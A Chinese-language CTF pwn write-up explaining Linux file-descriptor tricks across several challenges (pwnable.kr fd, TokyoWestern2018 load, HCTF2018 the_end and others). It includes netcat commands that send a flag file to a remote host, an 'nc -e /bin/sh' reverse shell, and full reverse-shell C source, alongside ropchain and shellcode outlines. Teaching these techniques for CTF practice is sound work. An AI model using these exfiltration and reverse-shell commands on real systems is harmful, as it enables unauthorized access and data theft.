接下来以一些 pwnable 题目为例分析一些 fd tricks,如果以后遇到新的操作会继续更新。
同样感谢大佬们的无私分享。
level 0: pwnable.kr - fd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
|
有了前两篇的基础,这个就很简单了,只需要控制 read 的 第一个参数是 0 即可,当 fd = 0时,read 将会从 0 号文件,此时即为从 stdin 读取输入,接下来输入 “LETMEWIN\n” 即可。
level 1: WDB2018_impossible
binary & exp here
我们只分析与 fd 有关的部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
memset(secret_random, 0, 8uLL);
fd = open("/dev/urandom", 0);
read(fd, secret_random, 8uLL);
printf("Input your secret code:", secret_random);
read(0, buf, 8uLL);
if ( !memcmp(secret_random, buf, 8uLL) )
{
puts("Amazing! How can u know the secret code?");
puts("Ok,u are the boss, u can do anything u want");
puts("But u should be quiet about this, because this is illegal");
puts("So...Close ur mouth...");
close(0);
qmemcpy(buf, bored_buf, 0x1000uLL);
}
|
仔细看这段代码,open("/dev/urandom”, 0); 后并没有对应的 close 操作。
因此如果重复运行这段代码,fd 会一直增加,到达该用户所能承受的最大量后(可以使用 ulimit -a
查看),下一次 open("/dev/urandom”, 0); 就会失败,导致 read(fd, secret_random, 8uLL); 读了空数据,我们只需要输入 \0
即可通过 memcmp 的验证;
还有一点需要注意,这道题目随后关闭了 stdin (close(0)),因此即使我们能 get shell,我们的输入也不会被接受。但幸运的是题目只关闭了 stdin,stdout 和 stderr 还是可以用的,因此思路就有很多了,比如直接构造一段 open("./flag", 0); read(0, addr, 0x100); puts(addr)
的 ropchain 就可以得到 flag (因为 close(0), open("./flag”, 0) 返回的 fd 将为 0)。
类似的题目还有 pwnable.kr - otp
level 2: Whitehat2018 - pwn3
binary & exp here
同样只分析与 fd 有关的部分,通过 ret2vsyscall 获得一次任意命令执行的机会后,剩下的目的就是如何获取 flag 了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
void echo()
{
int v0; // ST0C_4
int v1; // [rsp+Ch] [rbp-E4h]
char buf[216]; // [rsp+10h] [rbp-E0h]
unsigned __int64 v3; // [rsp+E8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = v1 + 32;
read(0, buf, v0);
printf("Echo machine: ", buf);
write(1, buf, v0);
close(0);
close(1);
strcpy(buf, deleteyourevilstring);
}
|
这道题目的 stdin 和 stdout 都被关闭了,但因为我们有一次任意命令执行的机会,至少有以下三种方法获得 flag:
- 利用 stderr, 执行
sh ./flag
。当 shell 检测到 flag 的内容不是合法的 shell 指令时,会通过 stderr 将 flag 内容打印到显示屏上
1
2
|
WhiteHat2018_pwn03 [master●] sh ./flag
./flag: 1: ./flag: flag{this_is_flag}: not found
|
- 利用 pipe,前两篇提到 pipe 也是一种文件,虽然 stdin 和 stdout 被关闭了,但我们任然可以通过执行命令建立 pipe,利用 pipe 将 flag 内容发送到公网 vps,在 vps 上监听即可
1
2
3
4
5
6
7
|
WhiteHat2018_pwn03 [master●] cat ./flag| nc your_ip your_port
......
On vps:
ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port
Listening on [0.0.0.0] (family 0, port ????)
Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47042)
flag{this_is_flag}
|
- 建立一个 reverse shell,reverse shell 的原理完全可以另开一篇 post 介绍,本篇只会在最后简单介绍其原理,更详细的可以看 reference。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
WhiteHat2018_pwn03 [master●] nc -e /bin/sh your_ip your_port
......
On vps:
ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port
Listening on [0.0.0.0] (family 0, port ????)
Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47442)
ls
flag
libc-2.27.i64
libc-2.27.so
onehit
onehit.i64
solve.py
pwd
/home/m4x/pwn_repo/WhiteHat2018_pwn03
id
uid=1000(m4x) gid=1000(m4x) 组=1000(m4x),7(lp),27(sudo),100(users),109(netdev),113(lpadmin),117(scanner),124(sambashare),127(docker)
|
类似的题目有 0CTF2018 的 babystack
level 3: TokyoWestern2018 - load
bianry & exp here
这道题目用到了很多 fd 的知识
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char a1a[32]; // [rsp+0h] [rbp-30h]
__int64 size; // [rsp+20h] [rbp-10h]
__off_t offset; // [rsp+28h] [rbp-8h]
set_buffer();
_printf_chk(1LL, "Load file Service\nInput file name: ");
get_str(filename, 128);
_printf_chk(1LL, "Input offset: ");
offset = get_int();
_printf_chk(1LL, "Input size: ");
size = get_int();
load_file(a1a, filename, offset, size);
close_all();
return 0LL;
}
void __fastcall load_file(void *a1, const char *a2, __off_t a3, __int64 a4)
{
__int64 nbytes; // [rsp+0h] [rbp-30h]
__off_t offset; // [rsp+8h] [rbp-28h]
int fd; // [rsp+2Ch] [rbp-4h]
offset = a3;
nbytes = a4;
fd = open(a2, 0);
if ( fd == -1 )
{
puts("You can't read this file...");
}
else
{
lseek(fd, offset, 0);
if ( read(fd, a1, nbytes) > 0 )
puts("Load file complete!");
close(fd);
}
}
void close_all()
{
close(0);
close(1);
close(2);
}
|
栈溢出的漏洞很好发现,但关键是我们只有打开远程文件,并从文件中读取内容的能力。根据一切皆文件的思想,如果打开 /proc/self/fd/0
,在 load_file() 中就相当于 read(3, a1, nbytes),但注意此时的 3 是 stdin,也就是说可以通过打开 /proc/self/fd/0 ,并从 stdin 读入数据来控制缓冲区内容。
那么我们要怎么利用呢?分析两种方法。
ropchain
pty 和 pts
先介绍一下什么是 pty 和 pts。我们已经知道 fd 指向被打开的文件,那么我们看一下 stdin,stdout 和 stderr 指向什么
1
2
3
4
5
6
7
8
9
10
11
|
others_reverse_shell [master●] ./file_descriptor
.......
others_reverse_shell [master●] pgrep file_descriptor
8942
others_reverse_shell [master●] file /proc/8942/fd/0
/proc/8942/fd/0: symbolic link to /dev/pts/2
others_reverse_shell [master●] file /proc/8942/fd/1
/proc/8942/fd/1: symbolic link to /dev/pts/2
others_reverse_shell [master●] file /proc/8942/fd/2
/proc/8942/fd/2: symbolic link to /dev/pts/2
|
都指向了 /dev/pts/2
这个文件,pts 是 tty 的一部分,后续会介绍。
在第一篇已经说到了 tty 子系统是用来管理终端的,对每一个连接的终端,都会有一个 tty 设备与其对应,关系如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
+----------------+
| TTY Driver |
| |
| +-------+ | +----------------+
+------------+ | | |<---------->| User process A |
| Terminal A |<--------->| ttyS0 | | +----------------+
+------------+ | | |<---------->| User process B |
| +-------+ | +----------------+
| |
| +-------+ | +----------------+
+------------+ | | |<---------->| User process C |
| Terminal B |<--------->| ttyS1 | | +----------------+
+------------+ | | |<---------->| User process D |
| +-------+ | +----------------+
| |
+----------------+
|
在 shell 里使用 tty
命令可以查看当前 shell 被关联到了哪个 tty
1
2
3
4
5
6
7
8
9
10
11
12
13
|
others_reverse_shell [master●] tty
/dev/pts/3
others_reverse_shell [master●] echo test > /dev/pts/3
test
others_reverse_shell [master●] lsof /dev/pts/3
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
zsh 8944 m4x 0u CHR 136,3 0t0 6 /dev/pts/3
zsh 8944 m4x 1u CHR 136,3 0t0 6 /dev/pts/3
zsh 8944 m4x 2u CHR 136,3 0t0 6 /dev/pts/3
zsh 8944 m4x 10u CHR 136,3 0t0 6 /dev/pts/3
lsof 10598 m4x 0u CHR 136,3 0t0 6 /dev/pts/3
lsof 10598 m4x 1u CHR 136,3 0t0 6 /dev/pts/3
lsof 10598 m4x 2u CHR 136,3 0t0 6 /dev/pts/3
|
可以看到当前 shell 使用的是 /dev/pts/3,因此直接往 /dev/pts/3 写数据跟标准输出是一样的;
使用 lsof 可以看出当前 shell 和 lsof 进程的 stdin(0u),stdout(1u),stderr(2u) 都绑定到了这个 tty 上,此时它们的关系如下
1
2
3
4
5
6
|
Input +--------------------------+ R/W +------+
----------->| |<---------->| bash |
| /dev/pts/3 | +------+
<-----------| |<---------->| lsof |
Output | Foreground process group | R/W +------+
+--------------------------+
|
然后说一下 pty,使用 man 7 pty
查看 pty 的用户手册
1
2
3
4
|
DESCRIPTION
A pseudoterminal (sometimes abbreviated "pty") is a pair of virtual character
devices that provide a bidirectional communication channel. One end of the
channel is called the master; the other end is called the slave.
|
pty 属于伪终端,“伪” 体现在 pty 是逻辑上的终端设备,但多用于模拟终端程序,比如使用 ssh,talnet 和 windows 下的 putty 等连接的终端时,此时并没有真正的设备连接到了主机,而是建立了一个伪终端来模拟各种行为。
从 man 手册中也可以看出 pty 分为 master 和 slave 两部分,其中 slave 部分称为 pts,master 称为 ptmx,二者结合实现 pty。工作流程可以简单的解释为进程通过调用 API 请求 ptmx 建立了一个 pts,然后会得到连接到 ptmx 的 fd 和一个新建的 pts(可以使用 man pts
查看更多细节)。
构造 ropchain
说了半天,再回到这道题目,虽然这道题目关闭了 stdin, stdout 和 stderr,pty 还在,换句话说,如果我们能控制 /dev/pts/? 的 fd 为 1,那么 puts(flag) 时就会把输出传递给 /dev/pts/? ,也就是我们能在显示屏上看到 flag。
总结一下思路:
- 利用 open("/proc/self/fd/0”, 0) 来构造 ropchain
- ropchain 通过 open 和 read 把 flag 读到一个固定地址,同时控制 open("/dev/pty/?", 2) 返回的 fd 为 1
- puts(flag) 时,系统调用为 write(1, flag, len(flag)),也就是 flag 的内容将会输出到显示屏上
ropchian exploit here
reverse shell
或者我们可以使用 reverse shell 来 get shell,这需要用到一些 procfs 的知识,不准备细讲,只需要知道可以通过往 /proc/self/mem 写数据更改 binary 内容即可(类似的题目有赛博地球杯的 fileManager 这道题目)。
通过 vmmap 可以看出 0x400000 - 0x401000 段具有可以行权限,且地址是固定的,因此我们可以控制 open("/proc/self/mem”, 2) 返回的 fd 为 1,然后通过 puts(shellcode) 既可以将 shellcode 写到这段地址上,再控制 rip 到 shellcode 就可以建立一个 reverse shell(reverse shell 的经典题目有 pwnable.tw 的 kidding 等)。
总结一下思路:
- 利用 open("/proc/self/fd/0”, 0) 来构造 ropchain,ropchain 实现 open("/proc/self/mem”, 2) 返回的 fd 为 1
- 通过 puts(shellcode) 将 shellcode 写到具有可执行权限的代码段,可以用 lseek 控制 puts 写的位置
- 控制 rip 为 shellcode 建立 reverse shell
- 可以使用 /dev/stdin 代替 /proc/self/fd/0,效果一样,可以给 shellcode 留下更多空间
revrese shell exploit here
reverse shell 原理
简单介绍一下 reverse shell 的原理,先给出经典的 reverse shell 的建立方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
others_reverse_shell [master●] bat reverse_shell.c
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: reverse_shell.c
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ // reverse shell
2 │ #include <sys/types.h>
3 │ #include <sys/socket.h>
4 │ #include <netinet/in.h>
5 │
6 │ #define NULL 0
7 │
8 │ int socket(int domain, int type, int protocal);
9 │ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
10 │ int dup2(int oldfd, int newfd);
11 │ int execve(const char *filename, char *const argv[], char *const envp[]);
12 │ int close(int fd);
13 │
14 │ void reverse_shell()
15 │ {
16 │ char* address = "your_ip";
17 │ int port = your_port;
18 │
19 │ // create a new socket but it has no address assigned yet
20 │ int sockfd = socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0);
21 │
22 │ // create sockaddr_in structure for use with connect function
23 │ struct sockaddr_in sock_in;
24 │ sock_in.sin_family = AF_INET;
25 │ sock_in.sin_addr.s_addr = inet_addr(address);
26 │ sock_in.sin_port = htons(port);
27 │
28 │ // perform connect to target IP address and port
29 │ connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in));
30 │
31 │ // duplicate file descriptors for STDIN/STDOUT/STDERR
32 │ for(int n = 0; n <= 2; n++)
33 │ {
34 │ dup2(sockfd, n);
35 │ }
36 │
37 │ // execve("/bin/sh", 0, 0)
38 │ execve("/bin/sh", NULL, NULL);
39 │
40 │ close(sockfd);
41 │
42 │ return;
43 │ }
44 │
45 │
46 │ int main()
47 │ {
48 │ reverse_shell();
49 │
50 │ return 0;
51 │ }
───────┴─────────────────────────────────────────────────────────────────────────────────
|
如果前两篇看懂的话,那么参考这个代码,reverse shell 的原理就很好理解了
- 建立一个 socket,此时会新建一个 fd
- 给这个 socket 分配 ip 和 port
- 通过 dup2,将 socket 的 fd 复制到 0,1 和 2 上,这样 shell 的 io 就完全通过建立的 socket 了,这时如果我们监听这个 ip 和 port,就相当于拿到了一个 shell
level 4: HCTF2018 - the_end
veritas501师傅 出的题目,很独特,关闭了 stdout 和 stderr,但保留了 stdin。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
|
解法就不说了,可以参考 官方 writeup。但更多人用的应该是非预期解直接使用 one_gadget。
总之,可以用某种方式拿到一个交互式的 shell (因为 stdout 已经被关闭,所以不会有输出)。可以通过 cat flag >&0
, exec 1>&0; cat flag
等方法得到 flag。
为什么可以通过 stdin
来输出呢?因为
1
2
|
~ file /proc/self/fd/0
/proc/self/fd/0: symbolic link to /dev/pts/3
|
stdin
实际也是 pts 的软连接,因此可以输出。
需要注意的是,很多人在做这道题目时可能远程成功了,但本地使用 pwnlib.process
时失败,这是因为在 pwntools 的 源码 中有这样一段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
try:
while not go.isSet():
if term.term_mode:
data = term.readline.readline(prompt = prompt, float = True)
else:
data = sys.stdin.read(1) <== exception
if data:
try:
self.send(data)
except EOFError:
go.set()
self.info('Got EOF while sending in interactive')
else:
go.set()
except KeyboardInterrupt:
self.info('Interrupted')
go.set()
|
interactive()
时程序试图从 1 读取内容,但此时只有 0,于是就触发了异常;但使用 pwnlib.remote
时是直接建立了一个 socket,因此不会触发异常(具体可以分析源码)
还要注意的是,当使用 socat
,xinted
等挂载题目时,0, 1, 2 实际上已经不是 stdin, stdout, stderr
而是 socket 了,但因为端口转发的原因我们可以认为仍然是 stdin, stdout, stderr
,这也提醒我们遇到和 fd 有关的题目时,可以本地挂载然后使用 pwnlib.remote
测试以减少不必要的麻烦。
References
https://lordidiot.github.io/2018-09-03/tokyowesterns-ctf-2018-load-pwn/
http://nano-chicken.blogspot.com/2014/07/linuxttyptypts.html
https://segmentfault.com/a/1190000009082089
http://shell-storm.org/shellcode/files/shellcode-219.php
http://tacxingxing.com/2018/01/19/procfs/
https://tdmathison.github.io/blog/slae32-1/
https://tdmathison.github.io/blog/slae32-2/
https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549